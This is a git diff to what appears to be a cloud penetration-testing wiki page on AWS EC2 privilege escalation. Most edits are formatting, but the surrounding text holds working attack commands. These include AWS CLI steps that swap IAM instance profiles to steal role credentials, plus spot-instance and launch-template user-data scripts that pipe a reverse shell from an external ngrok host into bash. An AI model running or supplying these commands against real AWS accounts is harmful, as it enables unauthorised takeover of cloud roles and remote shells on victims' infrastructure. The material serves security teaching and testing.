diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index fb0de4c203..e71bb42352 100644 --- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -56,6 +56,7 @@ An important note to make about this attack is that an **obvious indicator of co With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +{% code overflow="wrap" %} ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -70,6 +71,7 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` +{% endcode %} To learn how to **force ECS services to be run** in this new EC2 instance check: @@ -84,8 +86,9 @@ If you **cannot create a new instance** but has the permission `ecs:RegisterCont ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), he will also need **`iam:RemoveRoleFromInstanceProfil`**`e`. +As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. +{% code overflow="wrap" %} ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -93,22 +96,29 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +{% endcode %} If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** * If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) - * ``` + * {% code overflow="wrap" %} + ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile --instance-id ``` + {% endcode %} * If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it - * ``` + * {% code overflow="wrap" %} + ```bash aws ec2 disassociate-iam-instance-profile --iam-instance-profile --instance-id aws ec2 associate-iam-instance-profile --iam-instance-profile --instance-id ``` + {% endcode %} * or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). - * ``` + * {% code overflow="wrap" %} + ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile --association-id ``` + {% endcode %} **Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). @@ -117,6 +127,7 @@ If the **instance profile has a role** and the attacker **cannot remove it**, th An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ Once the instance is run, he can **steal the IAM role**. +{% code overflow="wrap" %} ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -126,6 +137,7 @@ aws ec2 request-spot-instances \ --instance-count 1 \ --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` +{% endcode %} ### `ec2:ModifyInstanceAttribute` @@ -176,6 +188,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. +{% code overflow="wrap" %} ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -189,6 +202,7 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` +{% endcode %} **Potential Impact:** Direct privesc to a different EC2 role. @@ -237,6 +251,7 @@ An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPubl In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +{% code overflow="wrap" %} ```bash aws ec2 enable-serial-console-access @@ -248,6 +263,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +{% endcode %} This way isn't that useful to privesc as you need to know a username and password to exploit it. diff --git a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 9489c20931..22d1603a1a 100644 --- a/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -220,8 +220,6 @@ Techniques like SSM message interception can be found in the SSM post-exploitati **Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. -
- ### Enumeration ```bash